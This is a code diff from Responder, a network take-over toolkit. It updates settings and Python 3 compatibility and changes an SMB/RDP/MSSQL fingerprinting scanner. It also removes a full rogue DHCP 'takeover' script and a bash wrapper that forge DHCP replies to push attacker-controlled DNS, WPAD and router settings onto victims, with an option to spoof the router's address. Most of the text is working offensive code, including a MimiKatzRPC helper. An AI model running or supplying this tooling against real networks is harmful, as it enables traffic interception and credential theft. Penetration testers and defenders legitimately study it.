self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
self.DontRespondToTLD = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToTLD').strip().split(',')]))
self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
#add a .local to all provided DontRespondToName
self.MDNSTLD = ['.LOCAL']
self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD]
#Generate Random stuff for one Responder session
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
self.DomainName = self.Domain + '.LOCAL'
@ -174,44 +306,6 @@ class Settings:
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
self.AutoIgnoreList = []
# CLI options
self.ExternalIP = options.ExternalIP
self.LM_On_Off = options.LM_On_Off
self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.DHCP_On_Off = options.DHCP_On_Off
self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Interface = options.Interface
self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
self.Verbose = options.Verbose
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
if self.ExternalIP:
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
if self.HtmlToInject == None:
self.HtmlToInject = ''
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
if self.Interface == "ALL":
self.Bind_To_ALL = True
else:
self.Bind_To_ALL = False
if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP)
else:
self.IP_aton = socket.inet_aton(self.Bind_To)
self.Os_version = sys.platform
# Set up Challenge
self.NumChal = config.get('Responder Core', 'Challenge')
if self.NumChal.lower() == 'random':
@ -249,7 +343,14 @@ class Settings:
self.AnalyzeLogger = logging.getLogger('Analyze Log')
self.AnalyzeLogger.addHandler(ALog_Handler)
# First time Responder run?
if os.path.isfile(self.ResponderPATH+'/Responder.db'):
pass
else:
#If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null
Certs = os.system(self.ResponderPATH+"/certs/gen-self-signed-cert.sh >/dev/null 2>&1")
try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
except:
@ -259,10 +360,12 @@ class Settings:
NetworkCard = "Error fetching Network Interfaces:", ex
pass
try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
except subprocess.CalledProcessError as ex:
DNS = "Error fetching DNS configuration:", ex
pass
p = subprocess.Popen('resolvectl', stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
DNS = p.stdout.read()
except:
p = subprocess.Popen(['cat', '/etc/resolv.conf'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
DNS = p.stdout.read()
try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except:
@ -272,10 +375,10 @@ class Settings:
RoutingInfo = "Error fetching Routing information:", ex
pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
try:
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
#utils.DumpConfig(self.ResponderConfigDump,str(self))
except AttributeError as ex:
print("Missing Module:", ex)
pass

View file

@ -1,360 +0,0 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3')
import struct
import optparse
import configparser
import os
import codecs
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR)
from odict import OrderedDict
from utils import *
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof")
parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
options, args = parser.parse_args()
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
if options.Interface is None:
print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
exit(-1)
elif options.RouterIP is None:
print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
exit(-1)
elif options.DNSIP is None:
print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
exit(-1)
elif options.DNSIP2 is None:
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
exit(-1)
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
print('#############################################################################')
print('## DHCP INFORM TAKEOVER 0.3 ##')
print('## ##')
print('## By default, this script will only inject a new DNS/WPAD ##')
print('## server to a Windows <= XP/2003 machine. ##')
print('## ##')
print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
print('## any linux box, use -R (can be noisy) ##')
print('## ##')
print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
print('#############################################################################')
print('')
print(color('[*]', 2, 1), 'Listening for events...')
config = configparser.ConfigParser()
config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = options.Interface
Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = options.RouterIP
NETMASK = options.Netmask
DHCPSERVER = Responder_IP
DNSIP = options.DNSIP
DNSIP2 = options.DNSIP2
DNSNAME = options.DNSNAME
WPADSRV = options.WPAD.strip() + "\\n"
Spoof = options.Spoof
Respond_To_Requests = options.Respond_To_Requests
if Spoof:
DHCPSERVER = ROUTERIP
##### IP Header #####
class IPHead(Packet):
fields = OrderedDict([
("Version", "\x45"),
("DiffServices", "\x00"),
("TotalLen", "\x00\x00"),
("Ident", "\x00\x00"),
("Flags", "\x00\x00"),
("TTL", "\x40"),
("Protocol", "\x11"),
("Checksum", "\x00\x00"),
("SrcIP", ""),
("DstIP", ""),
])
class UDP(Packet):
fields = OrderedDict([
("SrcPort", "\x00\x43"),
("DstPort", "\x00\x44"),
("Len", "\x00\x00"),
("Checksum", "\x00\x00"),
("Data", "\x00\x00"),
])
def calculate(self):
self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
class DHCPACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op51", "\x33"),
("Op51Len", "\x04"),
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
class DHCPInformACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server.
("Op255", "\xff"),
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
def SpoofIP(Spoof):
return ROUTERIP if Spoof else Responder_IP
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
elif RespondTo and ClientIp not in RespondTo:
return False
elif ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo:
return True
return False
def ParseSrcDSTAddr(data):
SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = socket.inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
data = data.decode('latin-1')
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1')
def ParseDHCPCode(data):
PTid = data[4:8]
Seconds = data[8:10]
CurrentIP = socket.inet_ntoa(data[12:16])
RequestedIP = socket.inet_ntoa(data[16:20])
MacAddr = data[28:34]
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
OpCode = data[242:243]
RequestIP = data[245:249]
# DHCP Inform
if OpCode == b"\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP))
Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
def SendDHCP(packet,Host):
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(NetworkSendBufferPython2or3(packet), Host)
if __name__ == "__main__":
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
while True:
try:
data = s.recvfrom(65535)
if data[0][23:24] == b"\x11": # is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
ret = ParseDHCPCode(data[0][42:])
if ret:
print(text("[DHCP] %s" % ret))
except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))

View file

@ -1,63 +0,0 @@
#!/bin/bash
# This file is part of Responder. laurent.gaffie@gmail.com
#
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# This script will try to auto-detect network parameters
# to run the rogue DHCP server, to inject only your IP
# address as the primary DNS server and WPAD server and
# leave everything else normal.
if [ -z $1 ]; then
echo "usage: $0 <interface>"
exit
fi
if [ $EUID -ne 0 ]; then
echo "Must be run as root."
exit
fi
if [ ! -d "/sys/class/net/$1" ]; then
echo "Interface does not exist."
exit
fi
INTF=$1
PATH="$PATH:/sbin"
IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'`
NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'`
DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
DNS1=$IPADDR
DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'`
WPADSTR="http://$IPADDR/wpad.dat"
if [ -z "$DOMAIN" ]; then
DOMAIN=" "
fi
echo "Running with parameters:"
echo "INTERFACE: $INTF"
echo "IP ADDR: $IPADDR"
echo "NETMAST: $NETMASK"
echo "ROUTER IP: $ROUTER"
echo "DNS1 IP: $DNS1"
echo "DNS2 IP: $DNS2"
echo "WPAD: $WPADSTR"
echo ""
echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"

View file

@ -636,7 +636,7 @@ def MimiKatzRPC(Command, f, host, data, s):
Output = ExtractRPCCommandOutput(data)[12:]
while True:
dataoffset = dataoffset + buffsize
if data[64:66] == b"\x05\x00" and data[67] == b"\x02":##Last DCE/RPC Frag
if data[64:66] == b"\x05\x00" and data[67:68] == b"\x02":##Last DCE/RPC Frag
LastFragLen = struct.unpack('<h', data[61:63])[0]
if LastFragLen < 1024:
Output += ExtractRPCCommandOutput(data)
@ -646,7 +646,7 @@ def MimiKatzRPC(Command, f, host, data, s):
Output += ExtractRPCCommandOutput(data)
break
if data[64:66] == b"\x05\x00" and data[67] == b"\x03":##First and Last DCE/RPCFrag
if data[64:66] == b"\x05\x00" and data[67:68] == b"\x03":##First and Last DCE/RPCFrag
data, s, out = SMBDCERPCReadOutput(StructWithLenPython2or3("<i", dataoffset), StructWithLenPython2or3('<h', 4096),f, data, s)
Output += ExtractRPCCommandOutput(data)
break

View file

@ -3,7 +3,10 @@ try:
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
try:
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin):

View file

@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
@ -17,29 +17,36 @@
import re,sys,struct
import datetime
import multiprocessing
from socket import *
from odict import OrderedDict
import os
import errno
import optparse
import sqlite3
from RunFingerPackets import *
__version__ = "1.3"
from odict import OrderedDict
from socket import *
from odict import OrderedDict
__version__ = "1.8"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
#Way better to have grepable output by default...
#parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None)
parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2)
options, args = parser.parse_args()
if options.TARGET is None:
if options.TARGET == None and options.Filename == None:
print("\n-i Mandatory option is missing, please provide a target or target range.\n")
parser.print_help()
exit(-1)
Timeout = 2
Timeout = options.Timeout
Host = options.TARGET
SMB1 = "Enabled"
Filename = options.Filename
SMB1 = "True"
SMB2signing = "False"
DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db"
class Packet():
fields = OrderedDict([
@ -60,6 +67,13 @@ if (sys.version_info > (3, 0)):
else:
PY2OR3 = "PY2"
if not os.path.exists(DB):
cursor = sqlite3.connect(DB)
cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)')
cursor.commit()
cursor.close()
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 == "PY2":
@ -92,7 +106,7 @@ def ParseNegotiateSMB2Ans(data):
def SMB2SigningMandatory(data):
global SMB2signing
if data[70] == "\x03":
if data[70:71] == "\x03":
SMB2signing = "True"
else:
SMB2signing = "False"
@ -109,13 +123,29 @@ def WorkstationFingerPrint(data):
b"\x06\x01" :"Windows 7/Server 2008R2",
b"\x06\x02" :"Windows 8/Server 2012",
b"\x06\x03" :"Windows 8.1/Server 2012R2",
b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)",
b"\x0A\x00" :"Windows 10/Server 2016/2022 (check build)",
}.get(data, 'Other than Microsoft')
def GetOsBuildNumber(data):
ProductBuild = struct.unpack("<h",data)[0]
return ProductBuild
def SaveRunFingerToDb(result):
for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn', 'SMB1','MSSQL']:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(DB)
cursor.text_factory = sqlite3.Binary
res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=? AND SMB1=? AND MSSQL=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?,?,?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
cursor.commit()
cursor.close()
def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Response
data = data.encode('latin-1')
SSPIStart = data.find(b'NTLMSSP')
@ -130,7 +160,22 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res
WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50])
WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52])
DomainGrab((host, 445))
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, IsRDPOn((host,3389)),SMB1)))
RDP = IsServiceOn((host,3389))
SQL = IsServiceOn((host,1433))
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1, SQL)))
SaveRunFingerToDb({
'Protocol': '[SMB2]',
'Host': host,
'WindowsVersion': WindowsVers,
'OsVer': str(WindowsBuildVers),
'DomainJoined': Domain,
'Bootime': Bootime,
'Signing': signing,
'NullSess': 'N/A',
'IsRDPOn':RDP,
'SMB1': SMB1,
'MSSQL': SQL
})
def GetBootTime(data):
data = data.encode('latin-1')
@ -151,15 +196,15 @@ def IsDCVuln(t, host):
Date = datetime.datetime(2017, 3, 14, 0, 30)
if t[0] < Date:
return("This system may be vulnerable to MS17-010")
return("Last restart: "+t[1])
return(t[1])
#####################
def IsSigningEnabled(data):
if data[39] == "\x0f":
return True
if data[39:40] == "\x0f":
return 'True'
else:
return False
return 'False'
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
@ -192,14 +237,13 @@ def GetHostnameAndDomainName(data):
Hostname = data[113:].decode('latin-1')
return Hostname, DomainJoined
except:
pass
return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host):
global SMB1
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(0.7)
s.connect(Host)
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan()
@ -207,23 +251,23 @@ def DomainGrab(Host):
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
s.close()
if data[8:10] == b'\x72\x00':
return GetHostnameAndDomainName(data)
except IOError as e:
if e.errno == errno.ECONNRESET:
SMB1 = "Disabled"
SMB1 = "False"
return False
else:
return False
def SmbFinger(Host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
pass
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
@ -248,8 +292,8 @@ def SmbFinger(Host):
def check_smb_null_session(host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s.settimeout(Timeout)
s.connect(host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
@ -283,9 +327,9 @@ def check_smb_null_session(host):
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x75\x00':
return True
return 'True'
else:
return False
return 'False'
except Exception:
return False
@ -293,19 +337,19 @@ def check_smb_null_session(host):
#SMB2 part:
def ConnectAndChoseSMB(host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(0.7)
s.connect(host)
h = SMBHeader(cmd="\x72",flag1="\x00")
n = SMBNego(Data = SMB2NegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(4096)
except:
return None
h = SMBHeader(cmd="\x72",flag1="\x00")
n = SMBNego(Data = SMB2NegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(4096)
return False
if ParseNegotiateSMB2Ans(data):
try:
while True:
@ -314,12 +358,12 @@ def ConnectAndChoseSMB(host):
if not data:
break
except Exception:
pass
return False
else:
return False
def handle(data, host):
if data[28] == "\x00":
if data[28:29] == "\x00":
a = SMBv2Head()
a.calculate()
b = SMBv2Negotiate()
@ -328,7 +372,7 @@ def handle(data, host):
buffer0 = longueur(packet0)+packet0
return buffer0
if data[28] == "\x01":
if data[28:29] == "\x01":
global Bootime
SMB2SigningMandatory(data)
Bootime = IsDCVuln(GetBootTime(data[116:124]), host[0])
@ -340,71 +384,87 @@ def handle(data, host):
